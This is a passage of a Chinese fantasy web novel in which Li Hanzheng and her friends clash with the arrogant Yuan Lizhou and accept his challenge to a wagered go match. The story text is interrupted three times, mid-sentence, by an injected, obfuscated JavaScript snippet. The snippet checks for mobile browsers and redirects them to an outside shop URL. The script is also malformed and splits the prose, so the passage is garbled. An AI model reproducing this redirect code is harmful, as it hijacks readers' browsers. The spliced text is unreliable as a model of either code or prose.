“说出来你可能不信,”李寒筝神神秘秘道:“我有一个被动技能,只要你师兄出现在我方圆百米之内,我喝的水里就会自动出现枸杞和参片。” 她说完,又小声自语:“不过好奇怪,他忙得人影都见不着,还不忘记为难我。” 洛意吹了吹茶上的热气,十分自然地将李寒筝的声音当成耳旁风。自从她负责看管“柔弱易碎”物品李寒筝以来,就已经听了很多胡言乱语,早就能够听做无物了。 不过大多数时候,李寒筝其实是安静的,就比如此刻,李寒筝喝完茶水之后,再次拿起了尖头锤和木棒。 这是件可怕的事情,因为李寒筝开始工作——她是这么自称的——前,白白软软干干净净,虽然叽叽喳喳,但是还蛮有意思的。 然而一旦当她手里拿了锤子和刨刀之后,立马就往蓬头垢面惨不忍睹一路狂奔,黑发中挂着木屑,浅色的衣服上横七竖八的墨水,不修边幅地席地一坐,四周散落着各种零件和工具。 这都是源于一本书——洛久霖的手札。 按理来说李寒筝不可能借到,因为洛久霖是整个仙域出了名的毒舌,但是李寒筝何许人也,集厚脸皮与迷之自信于一身的奇女子。 当天,她踱着步走到站在船边看风景的洛久霖身边,用十分自然的语气道:“师姐,借我一本手札看看呗。” 洛久霖本拿着酒壶喝酒,闻言一口酒差点喷出来,用死亡的目光盯着李寒筝:“叫谁师姐呢?” 李寒筝理直气壮:“你呀。” 洛久霖凝视几秒,语气幽幽:“你最好是突然失了智。” 李寒筝靠过去,语气熟稔:“我没有失智,我是基于现有事实合理推测,你看啊,下个月我就能够进归墟秘境了,而我一定能够拿到北曦上神绯谣的传承,意思就是说,下个月你就是我的师姐了,那么我何不早一点叫呢?” 洛久霖发出了此生最冷酷的两声笑容,拔腿就走。 然而,洛久霖是个心思非常难以捉摸的人,具体表现在另一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255359|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李寒筝的房间里出现了一本洛久霖的手札。 洛家的弟子们并没有表现出羡慕,而是哀叹地在李寒筝的肩膀上拍了一下。当天晚上洛意露出了此生最为温和的笑容,温声细语地询问李寒筝:“你想好墓地选在哪里了吗?” 众所周知,洛久霖是个既毒舌且地狱的人,用“地狱”这个名字来形容有些不符合文法,但确是最准确的形容,因为对于徒弟而言,洛久霖就是地狱。 当然李寒筝不是徒弟,顶多算个蹭书——洛久霖的原话是没皮没脸的呆瓜。 尽管如此,李寒筝还是遭受了非人的对待,被勒令在五天之内将整整三百多页的手札看完,并且在手札里挑三十六个机关器械做出来。 五天之后,李寒筝捧着一箱叮叮当当的东西挂着两个黑眼圈步伐漂浮地走进了洛久霖的房间。 往来弟子小心翼翼地捂住了耳朵,因为不出所料,将会传来洛久霖三百六十八种不重样的骂人方法。 然而出人意料的是,房间内一片沉默。 众弟子交换着眼神,都有些疑惑。 片刻后,李寒筝毫发无伤地从房间里走出来,一见外面这么多人,热情开朗地打招呼:“真巧,你们都在这里扫地呢。” 众弟子打着哈哈糊弄过去,在心中惊叹:看来他们家主的脾气好了很多。 然后便眼睁睁地看见李寒筝微笑地走出五步,倒地就晕。 众弟子:“……” 这这这……光天化日的……家主你怎么还变本加厉了!!! 为了打扫作案现场……咳咳……为了及时挽救一条无辜的生命,众弟子将扫帚一丢,七嘴八舌地扑上去,加油的加油,喂丹药的喂丹药,还有哭丧和念往生咒的,一时场面十分混乱。 洛久霖“砰”地一声摔开门,冷睨一眼:“嚎什么呢,走出去别说是我教出来的,统统都给我把家规抄上三十遍。” 众弟子面面相觑,死静如鸡。 苍天!他们家主杀了人还这么嚣张吗! 洛久霖气笑了,深呼吸几口气,耐着性子解释:“这是睡着了知道吗,你们这群蠢呆瓜,我早晚把你们全都给煮了熬汤喝!” 众弟子低头惴惴如鹌鹑。 最后是段司厄如天神降临般把他们从洛久霖的泼天怒火中解救出来,他衣袂款款,温声说了些什么,而后抱着李寒筝飘然而去。 洛久霖唇角隐约有点笑意,咳嗽两声,不自在道:“那什么,快点开炉,我的宝贝材料到了!” * 船舱房间内,段梧声抱着李寒筝放在床上,拉过一旁的被子盖住,掖好被角。 他始终敛着目光,像是走在一条狭窄的小道上,周围都是刀山火海。 这刀山火海,自然就是李寒筝。 段梧声在寒潭又泡了一天一夜,出来之后直接把自己埋进了镇厄司的事务中。这是半个月以来,他第一次看见李寒筝。 他不想承认自己在躲避李寒筝,但是事实似乎就是如此。 在尚且弄不清楚幽谷悬山是否出故障之前,他觉得还是尽量躲着李寒筝比较好。 如果幽谷悬山没有问题,那么就代表着,他在不知道的时候对李寒筝动了杀念,也就是说,他成为了威胁李寒筝生命的最大隐患。 这样不妥,与他的初衷不符。 当然,他也没有忘记自己先前制定好的养生计划,熬好了足够的十全大补汤,放入了李寒筝的储物囊中,但是李寒筝对于十全大补汤很是深恶痛绝,常常敷衍,因而他又施了一个小术法,往李寒筝的茶杯里放枸杞和参片。 毕竟,养生必须从生活的一点一滴开始着手,丝毫不可懈怠。 假如李寒筝真的非要进入归墟秘境不可,他亦会尽最大努力助她达成这个愿望。 洛久霖的手札,就是他推波助澜的结果。 李寒筝在睡梦中轻轻皱起了眉,段梧声静静看着,伸手点了一下她的眉心,抚平褶皱。 幽谷悬山明明灭灭,跟随着心跳起伏。 段梧声轻轻叹了口气,转身走出了房间,轻轻掩上了门。 李寒筝安静地躺在纱幔深处,袖袍下,红叶手链仿佛出现了故障一般,朱红与翠绿交织变化,像是红色的潮汐正在一涨一落,不断起伏。 44. 不枉(5) 李寒筝足足睡了两天,第三天的半上午才醒,云舟已经抵达了潮海城,李寒筝在听潮馆的房间里睁开眼,耳边是长风送来涛涛浪声。 大宗门都在潮海城有自己的地方,为了便于归墟秘境开启时弟子入住,听潮馆就是属于暮山的地盘。 此时洛意刚好推门而入,挑眉呦了一声,“终于醒了?不简单呀,从我姑姑手底下全胳膊全腿的出来了。” 李寒筝揉了揉眼睛,从床上坐起来,“好饿,有东西吃吗?” 洛意扯了一把椅子坐下,“师兄猜的一点都没错,你醒来第一件事就是找吃的。” “所以梧声呢?” “师兄很忙,巡城去了,但是他在城里最大的酒楼里订了雅间。” 李寒筝的眼睛瞬间亮了。 临出门前,洛意在李寒筝头上罩了一个幕篱,边系着带子边警告:“潮海城不比暮山,是谢家的地盘,就算是师兄师姐,也不能干涉,你一定要安分点,不该说的话别说,不该做的事情别做。” “而且,”洛意犹豫了下,往自己头上也罩了个幕篱,“谢家最为歧视没有灵力的凡人,你千万不要离开我的视线,不然被卖了都找不到你。” 李寒筝乖巧点了点头,“没问题。” 归墟秘境即将开启,全天下符合条件的修士都汇集于此,就算是不符合条件也要来观望一下盛景,因此潮海城内热闹非凡,街道上人满为患,路两旁挤满了摊子,兜售各种符纸阵盘丹药。 “大减价了大减价了,恢复灵力的灵玉丹十五块下品灵石一瓶!” “瞬移符三张一块中品灵石,十张只要三块中品灵石了!” “买私人独售的手札啦,全都是五境以上修士的经验之谈,买不了吃亏买不了上当!” “倒计时十八天啦!一生只有两次的机会,修士一生之中最为关键的时期,我们必须要严肃以待,做好万全准备,这里隆重推荐秘境套装,不要你一万,不要你五千,只要九百九十八块上品灵石啦,老板吐血大减价,只为回馈新老客户!” …… 各种叫卖声此起彼伏,混杂在一起,有因为价格原因赤急白脸吵起架的,有被偷了东西大喊抓贼的,还有讨价还价唾沫星子乱飞的。 走了一刻钟,洛意艰难地把李寒筝从拥挤的人群里拔出来,终于是踏进了酒楼。 这约莫是一家很昂贵的酒楼,从楼内简雅的装饰和客人明显更昂贵的衣服中可以看出来。 楼内安静清凉,修士们三三两两把酒言欢,殷勤的小厮领着二人往楼上雅间走去。 目前为止都十分顺利,但是不出意外的话,就要出意外了。 推开雅间的门,早有几个衣着华贵的年轻男子占据了位置,正对着桌上琳琅满目的菜肴喝酒嬉笑。 领她们来的小厮用眼神询问,侍立在一侧的小厮为难道:“这几位客人一定要这间雅间,说等订雅间的客人来了他们亲自来交涉。” 李寒筝不禁感叹,果然,酒楼是事故冲突高发地呀。 洛意曲起指节,在门板上敲了几声,冷着声音:“快点给我滚出去,这是我们订的雅间。” 清脆的敲门声压下了喧哗,喝酒的几人目光汇聚过来,坐在主位的人放下了酒杯,睨过来一眼:“我当是谁,原来是洛家大小姐。” 修士吸收天地灵气洗髓排杂,是以长相和身材都不会太差,这人长着一张可称俊秀的脸,眼底却是居高临下的轻慢,一字一字咬得很轻,像是狎玩什么不值得正眼相看的东西。 “好久不见,你还是这么暴躁又不长记性,”男子丢出一袋灵石,“这些够了吧?这个雅间,我们要了。” 其他人笑起来。 “岂止够了,少家主大气,还让她赚了。” “往事既往不咎,少家主好气量!” …… “袁立洲,”洛意一字一句,“许久不见,你还是这么倒人胃口。” 她说罢,没有给对方反驳的机会,拉着李寒筝转身就走。 * 不战而走,不太符合洛意的风格。 其实李寒筝稍微打听一下就能知道,洛意和袁立洲积怨已久。 袁立洲是袁家的少家主,袁家世代毒医双修,但是袁立洲是个开了屏的花孔雀,他不单要学毒和医,还要学剑。 彼时洛家处境艰难,洛久霖去袁家谈合作,出售一批符纸。洛意也跟着去了,那时她在符术之外兼修剑道,袁立洲听闻,便非要比试一二。 结果是袁立洲输了。 但是袁立洲不甘。 袁立洲提出再比一场。 那场交易对于洛家而言关乎生死,洛意不得不答应袁少家主的邀战。 后来那场比试成了洛意此生输得最惨的一场比试,她站在比试台上,浑身迟钝得像是生了锈,几乎成了袁立洲的人形靶子,牙齿掉了五颗,肋骨断了三根。 袁立洲在她身上下了毒,中毒者浑身僵硬动作迟缓,哪怕是瞎子也能看出来这场比试不对劲,可是袁家势大,一口咬死是洛意的问题,洛久霖提出查验,可那毒是有时限的,下了比试台,便完全查不出来,这件事根本就是一笔烂账。 最终以袁家让利一成作为结束。 洛意始终记得那个晚上,姑姑坐在她的床边,用冰块敷在她肿起来的脸上,轻声道:“阿意,这笔交易对洛家很重要,但这个屈辱,我会永远记住,我一定会给你讨回来。” 后来洛久霖以铁血手腕雷霆风格带领着洛家重新崛起,正式开始了和袁家的较量。 多年来,两家明里暗里互相使着绊子,但袁家毕竟底蕴深厚,而洛家却在断生之战中元气大伤,再加上洛家上任家主叛逃魔域,永远是一笔抹不掉的屈辱。 因而这些年的争斗,伤到袁家的时候有,但是被袁家中伤的次数更多。 另一家酒楼中,洛意说完往事,低声道:“是不是很挫?袁立洲其实是故意挑衅,但我不能让袁家抓住把柄,姑姑已经很难了。” 李寒筝两瓣唇张张合合,思索着怎么安慰。 洛意瞥了一眼,一秒钟就恢复了平日里高傲的样子,“不许安慰,我告诉你这些,只是为了让你知道袁家的人都不是什么好东西!今天只是避其锋芒,而我,迟早有一天会把袁立洲打得满地找牙。” 李寒筝挑了下眉:“那可要快点,别等我年纪大了眼睛不好了再打,那就不能好好欣赏袁立洲痛哭流涕的惨样了。” 两人对视一眼,都笑起来,此时窗外传来一阵吵嚷声。 洛意推开一隙窗扉,窗下聚着一群人正在看热闹,中间隔开一块空地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269824|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛意垂眸往下,嗤了声。真是冤家路窄,竟是方才还见过的袁立洲一行人,其中有两个侍从晕倒了,袁立洲一脸阴鸷环视四周,眉梢眼角都透露着不耐烦。 洛意招来小厮了解情况,小厮嗨了声:“好像是两个袁家的弟子中了毒,袁少家主正在找凶手呢。” 小厮带上门离开,洛意这才拍着桌子笑起来:“学毒的人被下了毒,还是在袁立洲眼皮子底下,哈哈,真搞笑……” “说起下毒,”李寒筝沉思一瞬,“我想起了一个人。” “是我吗?”一道清朗的声音从窗外传来,紧接着,一个身影倒吊着从窗口翻进来。 这人身姿矫健,翻进来的同时顺手将窗扉合上,左耳上的朱红流苏划出一道漂亮的弧度。他穿着一身窄袖黑衣,自来熟地扯开长凳坐下,倒了杯茶一饮而尽。 李寒筝惊讶地笑起来:“袁期?” 洛意更关心另一个方面:“是你下的毒?” “没错,”袁期笑出几颗白牙齿:“是我。” 洛意此前对袁期的印象并不佳,当然,能让她印象佳的人实在是寥寥无几,然而现在,她一秒钟就将袁期看顺了眼,“详细说一下?” 袁期拿了副备用碗筷,边吃边说:“袁立洲是个草包,想要我的毒,那我必然是不能给的,毕竟我的毒不给猪用。” “然后这个孬种,就要派人抓我,”袁期冷笑一声,“我反手下了毒,但是可惜,谁能料到袁立洲不吃螃蟹炒年糕呢?真是山猪吃不了细糠。” 袁期叹息一声,下了定论:“他要我的毒,我这不是给他了吗,这样还要恼羞成怒,竟然派人抓捕我,真不知道是又惹到了他的哪根敏感神经。” 袁期的毒舌此刻听在洛意耳中十分动听,她点点头表示赞同:“没错,这叫丑人多作怪,敢抢我的雅间,吃中毒了也活该。” 此时,门外的走廊上传来纷沓的脚步声,最后“砰”地一声,门被踹开。 袁立洲一脸阴森地走进来,身后跟着不少袁家弟子。 洛意冷了脸,将筷子往桌上一拍:“怎么,袁少家主,又要给我下毒?” “此事与你无关,”袁立洲的目光咬定袁期,“是你下的毒?” “洛大小姐放心,请了我这一顿饭,什么毒我都给你挡着,”袁期打了个饱嗝,似笑非笑地看向袁立洲:“我可什么都不知道,一直在这里吃饭呢,别什么脏水都往我身上泼,不知道的还以为你是疯妇泼夫呢。” 袁立洲一时被堵得说不出话。 因为他确实没有证据,下毒之人手脚做的很干净,查不到一丝痕迹。 这又是一笔没有证据的烂账,当年的事情仿佛重演,只是,处境却掉了个底。 袁立洲皮笑肉不笑:“行啊,二位好口才好智谋,就是不知道二位有没有胆量跟我去平乐棋坊赌一盘棋?” 李寒筝咬着筷子疑惑起来,什么跟什么,赌棋干嘛? 而后只见袁期和洛意齐刷刷地看过来,异口同声:“你会下围棋吗?” 李寒筝疑惑地哈了一声,“会啊,怎么了?” 袁期和洛意转过头,斩钉截铁道:“赌就赌!” 袁立洲:“……” 他简直要气笑了,如果他没看错的话,那不是一个凡人么? 45. 不枉(6) 平乐棋坊是潮海城内非常有名的一个地方,来潮海城的人,若是不去一趟平乐棋坊,那会被别人说白来了。 顾名思义,平乐棋坊是下棋的地方,最主要的是围棋。与此同时,平乐棋坊也是谢家门下弟子用于修炼的地方,这似乎有些奇怪,下棋和修炼又有什么关系? 其实是有关系的。 谢家善阵,所谓阵法,本于星象,参以易理,变化无穷,恰和围棋的权变诡诈相合,都要求着眼全局的能力,和庞大海量的计算。因此每一位谢家弟子都会通过下棋来锻炼自己的全局预判能力和思维的敏捷。 平乐棋坊共有七层,设有排行榜,排名越高,楼层越高,第一层不限人数,没有进入的门槛,大多是供给其他宗门想要参观尝试一下的修士,和少部分初学的谢家弟子。 而往上的层数,则按照排行榜进行分配,自下而上,第二层五百人,第三层两百人,第四层一百人,第五层五十人,第六层十人,而第七层则只有一人。 正常的晋升顺序是同层修士相互挑战,每层的第一名可以向上一层的最后一名发出挑战,而从第一层进入第二层则需要先赢过谢家设定的棋阵,然后才有资格挑战第二层的最后一名。 倘若低层数的人想要向高层数的人挑战,则需要开启赌棋,毕竟倘若人人都想要挑战高层数,那么高层数的人岂不是每天都要下上几百盘棋? 只有押上足以让高层数弟子动心的赌金,才能够发动越级挑战,赢了,获得高层数的位置,输了,由高层数拿走所有赌金。 跨越的层数越高,所需要的赌金就越多。 * 李寒筝夹了一筷子红烧肉:“棋阵是什么意思?” 洛意道:“第一层的人下棋水平良莠不齐,弄一个排行榜也没有意思,因而谢家研制出了一种棋阵,可以模拟具有一定下棋水准的棋手,能赢过棋阵,才是真正踏入了平乐棋坊,可以向第二层挑战。” 李寒筝懂了,棋阵相当于现代的人工智能,不过是初级版的人工智能。 她夹了块鸡翅,又问:“现在的第七层是谁?” 袁期摇着乌木扇,面色有些不虞:“谢家老祖和谢家主不参与排名,目前的第七层是少家主谢呈。” 李寒筝将眼睛转了下,心领神会。这是来自情敌间的醋意,她非常坚定地选择了站在袁期这边:“指不定是走后门呢,毕竟人家是少家主,总得给个排面。” 这一边三人神色如常地说说笑笑,另一边袁立洲面色铁青,几乎气笑了,他觉得洛意和袁期简直不可理喻,竟然给一个无知愚昧的凡人普及平乐棋坊的规矩。 “这一个凡人,”袁立洲高傲地抬起下巴,“还不配和我下棋。” 洛意极其不屑地哼了一声:“谁问你了,真搞笑。” 袁期往口里夹了个虾仁:“真是不懂礼貌,咱洛大小姐这么不欢迎你,还要杵在这里,装门神呢?” 袁立洲皮笑肉不笑:“行行行,你们该不会是怕了吧?知道我在棋坊第五层,故意耍嘴皮子遛时间。” “真大的脸,谁管你第几层,”袁期用眼神点了一下旁边,“没看见我们寒筝正在吃饭吗?还在这里吵吵吵。” 袁立洲气急反笑:“行啊,那我就在棋坊等着你们!” 他说完,拂袖而走,门被用力拍上,随行的一大帮弟子咚咚咚跟着下了楼,直到声音消失了,袁期收起了玩笑不恭的表情,神色变得有些凝重:“事情变得麻烦了,他竟然是第五层。” 李寒筝夹了一个鸡腿:“第五层又怎么了?” 洛意戳了下李寒筝的脑门:“第五层,在不进行赌棋的前提下,至少要下赢八百个人,这还是只赢不输的条件下,一般而言,想要到第五层,就算每天挑战一个,最快也要两年半。” 李寒筝想了下:“目前为止,爬层最快的人是谁?” 洛意和袁期对视了一眼,面色都有些凝重,好像这个名字是个忌讳。 默了会,袁期道:“是谢序宁。” “她第一天就进了第二层,第二天第三层,第六天直接第七层,”袁期笑了下,“其实她本来可以直接挑战第七层,但是却没有,你知道为什么吗?” “为什么?” “因为她一穷二白,没有那么多家底押赌金,而平乐棋坊的规矩是,先给了赌金才能挑战,为的就是防止那种没钱耍赖的人。” 李寒筝啃着鸡腿,含含糊糊道:“那么她现在一定是谢家很厉害的人了?” “不,恰恰相反,她死了。”袁期道。 李寒筝啊了声,“她干啥了?” “谢序宁本来不姓谢,只是谢家的一个外门弟子,原本姓什么已经没人知道了,后来被人发现是谢家失踪多年的大小姐,这才改姓了谢。” 袁期说了一段,喝了口茶,洛意看不惯这磨叽的劲,直接接过话头讲下去:“谢家千年来只有三个人能够用出九重阵,谢序宁是其中之一,就连谢家这一辈天赋最高的两个弟子也只堪堪摸到了七重阵的边,就已经被称赞为天骄了,足以证明当年的谢序宁是怎样的惊才绝艳,意气风发。” “但是很可惜,”洛意叹了一口气,道:“她并不是真正的谢家大小姐。” 这件事说来话长,洛意便长话短说。 谢序宁并不真正的谢家千金,她只是一个爱慕虚荣冒名顶替的假千金,这件事最初是由真千金发现的。 据说在真正认回谢家之前,谢序宁和真千金是好朋友,否则她也不能利用真千金的背后胎记认回谢家,真千金知晓真相后,仍旧心存一份善念,只是在私下约出谢序宁,希望谢序宁能够主动承认。 然而谢序宁不顾昔日好友之谊,发动杀手追杀真千金,眼看真千金就要在围杀中死去,但或许是母女心灵感应的缘故,棠夫人在最后一刻发现真相,及时赶到现场,挡住了最致命的杀招。 棠夫人因此香消玉殒,真千金就此下落不明。谢序宁的计划很完善,手脚做得很干净,瞒的密不透风,直到很多年以后谢序宁身死,这件事情才真相大白。 洛意把玩着空茶杯,“你猜后面发生了什么?” 李寒筝咬着筷子:“呃……既然身份藏住了,肯定是好好的继续当她的谢家大小姐啊,或许等到谢家主仙逝之后,还能捞个家主当一当。” “是呀,常人都是这么想,但是谢序宁偏偏没有。”洛意顿了下,“或许是她太野心勃勃了,对于权利的欲望让她没有办法多等一分一秒,她选择了在慈融塔暗杀谢家老祖,失败之后逃走。” “然后呢?” “然后谢家举全族之力追杀谢序宁,那时候仙盟还没有分崩离析名存实亡,谢家发动了半个仙盟一起追杀谢序宁,不死不休。” 李寒筝忙着低头扒饭,抽空问了句:“然后呢?” “天涯海角都是追兵,魔域都不敢触霉头,更别提人域,谢序宁无路可去,上了问天梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304407|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “问天梯?” 洛意嗯了声,语气里竟然带了点欣赏:“你知道吗?在这个世界上,想要成神,只有三条路。” 天道规定,世界上只能有四位神明,称号分别是北曦上神,南渊上神,西泽上神,东霖上神。 而成神只有三条路。 第一条路,被神明挑为继承人,待神明身陨后,继承神位。 第二条路,也是最为常见的路,那就是修炼。 老老实实日复一日的修炼,突破十二境,经历天劫,然后挑战一位现任神明,赢了,被挑战的神明就此陨落,新神继承神位,输了,挑战者死去。这是最残酷的一条路,新神的诞生,都是踏着旧神的鲜血。 “然而在此之外,还有第三条路,那就是爬问天梯,成为第五位神明,罗刹神君。” 洛意耸了下肩:“但这基本上只是传说,因为从古至今,还没有一个人成功。” “对于谢序宁这个人我不做评判,但是敢爬问天梯,还是很令人敬佩的。毕竟没有人知道问天梯上是什么景象,因为所有爬问天梯的人或魔都摔下来死掉了。有人猜测问天梯上是烈火地狱,有人猜测是最痛苦的回忆,但最终都只能是猜测了。” 李寒筝终于吃完了,擦了下嘴,好奇道:“所以谢序宁也失败了?” “失败了,”洛意给自己倒了杯茶,“从问天梯上摔下来,尸骨无存。” 李寒筝叹了口气,感叹道:“真是跌宕起伏的一生。” 此时一个小厮来上茶,闻言道:“几位仙君这是在说谢序宁?” 小厮嘴角有些压制不住的笑,像是突然看见了一锭金子,袁期意会:“你也听说过?” “嗨呀,谢……咳咳,这位谁没听说过,我太爷爷那辈就给我讲,从小听到大的。” “话说这位叛出谢家前还是挺正常和善的一个人,四处斩妖除魔,为百姓们解决了不少麻烦,跟现在谢家那群眼高于顶的人相比简直是活菩萨,我太爷爷闹饥荒的时候还得过她一袋子馒头呢……” 小厮突然反应过来说了些不该说的,尴尬地打了打自己的嘴:“瞧我,乱七八糟说什么呢,真是糊涂了。” 袁期笑了下:“我们刚才什么也没听见,你继续往下说。” “那些斗法修仙的传言咱老百姓也不知道真假,心里头都觉得谢……咳咳,都觉得这一位是个极厉害的人,所以就把她画在纸上当门神。” 小厮起承转卖货,神神秘秘从襟口掏出一个卷轴,左右看了看,确认没有人,才展开了来。 看清画的瞬间,李寒筝直接一口水喷了出来,咳得不行。 袁期也乐了:“这是谢序宁?” 画纸上的简直不是个人,而是个青面獠牙的母夜叉,目瞪铜铃,鼻似喷火,咧着一张獠牙嘴,满面络腮胡,头发上还不伦不类地扎了一根浅金色的发带。 “几位仙君莫笑,这个是从我太爷爷那里传下来的,咱太爷爷还得过她一袋子馒头呢,岂能有假?”小厮骄傲道:“咱家是画的最好的一家了,瞧瞧这颜料,瞧瞧这用笔,价格也最公道。” 李寒筝用一种极为艰难的语气道:“你确定有人能长成这个样子吗?” “怎么不能?”小厮理所当然:“这一位可不是普通人,自然异于常人。” 洛意越看越欣赏,笑得不行:“行,我买了。” 小厮笑得开花:“得嘞,这就给仙君包起来。” 46. 不枉(7) 平乐棋坊第五层,袁立洲摇着折扇,几个狗腿围在旁边纷纷支招。 “不过一个私生子,竟然敢这样对少家主说话,真是活的不耐烦了,既然是少家主亲自开口要,那就得跪地谢恩把东西捧出来,藏着掖着搞一些小动作,难怪是狐妖生的,就是上不得台面。” “就是说,估计是吓破了胆失了智,竟然把一个凡人推出来,估计连赌金都付不起!” “按我说,就得给他们下下面子,把他们放在下面晾一晾,可不谁都能跟我们少家主下棋的。” “没错没错,让他们知道知道好歹!” 这个意见其实不算是个好意见,毕竟故意拖延时间让对方等,是个不大上得了台面的示威。有人提议要不要在香炉或者茶水中下毒,但是转而想到恐怕逃不过袁期的眼睛,又陷入一致的沉默。另有人建议要不要下黑手,但是转而想到洛大小姐的剑,再次陷入一致的沉默。 于是最开始的意见收到了一致的吹捧,袁立洲没有察觉随从们的这些小心思,他颇嫌聒噪地皱了皱眉,只道:“上壶茶来,茶没喝完,谁也不见。” 随从们纷纷附和。 一轮茶慢悠悠地喝完,袁立洲扫视两边安静如鸡的随从,再次皱了皱眉,觉得这群随从真是一点眼力见都没有,便咳了一声。 一个随从立马赔着笑脸道:“少家主的嗓子不舒服?” 一群蠢货,袁立洲撑着额头叹息一声,终于道:“洛意到了吗?” 他虽然这么问,但是心中已经认定洛意早就到了。 随从一脸为难:“还没来呢。” 袁立洲笑着捏碎了手里的空茶杯:“好啊,真是好的很,来几个人去看看,莫不是怕的连约都不敢赴了。” 两轮茶两轮糕点过去了,三本书看完了,博山炉里的香换了两次,随从们每隔一段时间通报一声。 “已经下了茶楼,正在吃路边的烧饼。” “吃完了烧饼,那位李姑娘说有点噎,然后去了糖水铺要了椰子,还顺便点了许多特色糕点。” “到了南水街,正好碰见杂耍团。” “看完杂耍了,经过一个兵器铺,洛大小姐要进去看看铁料。” “从兵器铺出来了,又进了医馆。” “……” 说到最后,袁立洲的脸越来越黑,每听一句话就要捏碎一个杯子,最后一个杯子被捏完,三个人终于是进了平乐棋坊。 来报的随从几乎喜极而泣:“少家主,他们到了。” 袁立洲一伸手,将满桌碎瓷片哗啦啦地甩出去,摔得一地清脆之声,语音里压着暴怒:“跟他们说我日里万机,还没有到!” 随从一脸为难地立在原地。 袁立洲随手将香炉砸了过去:“怎么还不去!听不懂人话了吗?” 屋里的人全都抖了一抖,随从跪在地上,声音颤抖着说:“少家主,他们说,如果您不在,他们就明天再来。” 袁立洲深呼吸几口气,胸膛不住起伏:“行啊,跟他们说,赌金翻倍,看他们敢不敢应!” * 平乐棋坊第一层,棋坊随侍恭敬道:“袁少家主同意了。” 李寒筝手里捧着一袋子白糖糕,袁期撞了撞她的肩膀:“行啊,你怎么料到袁立洲会恼羞成怒,让我们等着呢?” “下棋呢,不是光下在棋盘上,棋盘外的讲究可多了,”李寒筝挑了块白糖糕放进嘴里,慢条斯理道:“谁先轻敌,谁的情绪最不稳定,谁越想赢,谁输的可能性就越大。话说回来,我可付不起赌金。” 洛意抱着双臂:“没指望你能付得起,多少灵石?” 随侍默算一番:“袁少家主选择将赌金翻倍,押了一根雪障木,初步估算价值两万上品灵石。” 袁期挑起一边眉:“大手笔啊,看来真是气的不轻。” 越级挑战只需要挑战者支付赌金,但被挑战者也可以选择将赌金翻倍,在这种情况下,被挑战者也需要押上一半的赌金。 随侍道:“你方需要押上四万上品灵石或者价值四万上品灵石的东西,此外,袁少家主托我带一句话。” 随侍咳了咳,用一种轻慢的语气道:“敢不敢?” “敢,有什么不敢的,”洛意目光讥讽,立刻就解了腰间的剑,拍在案上,“赌啊!” 李寒筝有些感动,嘴里的白糖糕都忘记嚼了:“这么相信我的吗?” 洛意转过来死亡的一眼:“这把剑陪了我五十年,要是你输了——” 洛意温柔地笑了下,“那我就拿你去祭剑。” 李寒筝:“……” * 双方赌金交付,赌局在一刻钟后开始,侍从们很快就清出一间棋室,等待对弈双方进去。 这种棋室很特殊,是半开放的,一面墙去掉,围上栏杆,为的就是方便客人观看下棋实况。 每次越层赌棋,都是平乐棋坊最热闹的时候,跨越层数越多,观看的人就越多,累积的赌注就越大。 此时随侍挂上了押注盘。 “第一层挑战第五层?开玩笑的吧?这是把钱丢进水里听个响吗?有钱人啊真是有钱人。” “这第一层什么来头的?” “听说是个凡人。” “凡人?凡人哪来的这么多赌金?” “大伙还犹豫什么,闭着眼都知道怎么选,肯定押第五层,那可是袁少家主,大家族多少天材地宝堆出来的天才!” 这一句话醍醐灌顶,赌友们一窝蜂地押了袁立洲。押注盘上的差距拉到了一比一万。 李寒筝眯着眼睛看了眼:“一比一万,看来还是蛮多人相信我的。” 袁期冷笑了下:“并不然,是超过一万以上只显示为一万,怕的就是差距拉得太大,可赚的少,没人愿意下注。” “成吧,那我进去了,”李寒筝拍了拍袁期和洛意的肩膀,回头嘱咐道:“记得全部都压我,肯定赚翻!” 李寒筝是捧着袋板栗酥进去的,这棋室内有结界,听不见外面的声音。 袁立洲简直冷笑出声:“果真是没有见识的凡人,都这个时候还吃板栗酥,也是,比完之后,看你还有什么脸面吃。” 李寒筝抬起头,像是觉得很疑惑:“你在叽里咕噜说什么呀,这个板栗酥是刚出锅的,过了时间就不好吃了。” 袁立洲:“……” 棋室内的结界是单向的,里面的人看不见外面也听不见,外面的人则既可以听见也可以看见。 此时赌友们全都议论开来。 “没意思,一点挑战性都没有,第一层挑战第五层,这不是在搞笑吗?亏我还期待呢。” “也不能这样说,之前不是有过一例么?” “那可是谢……”这人提到忌讳,忙止住声音,用一个拉长的“嗯”做替代,道:“那人可是百年也遇不上一个,这个凡人何德何能可以和她相提并论?” “说的也是,不过这凡人倒是很有勇气。” …… 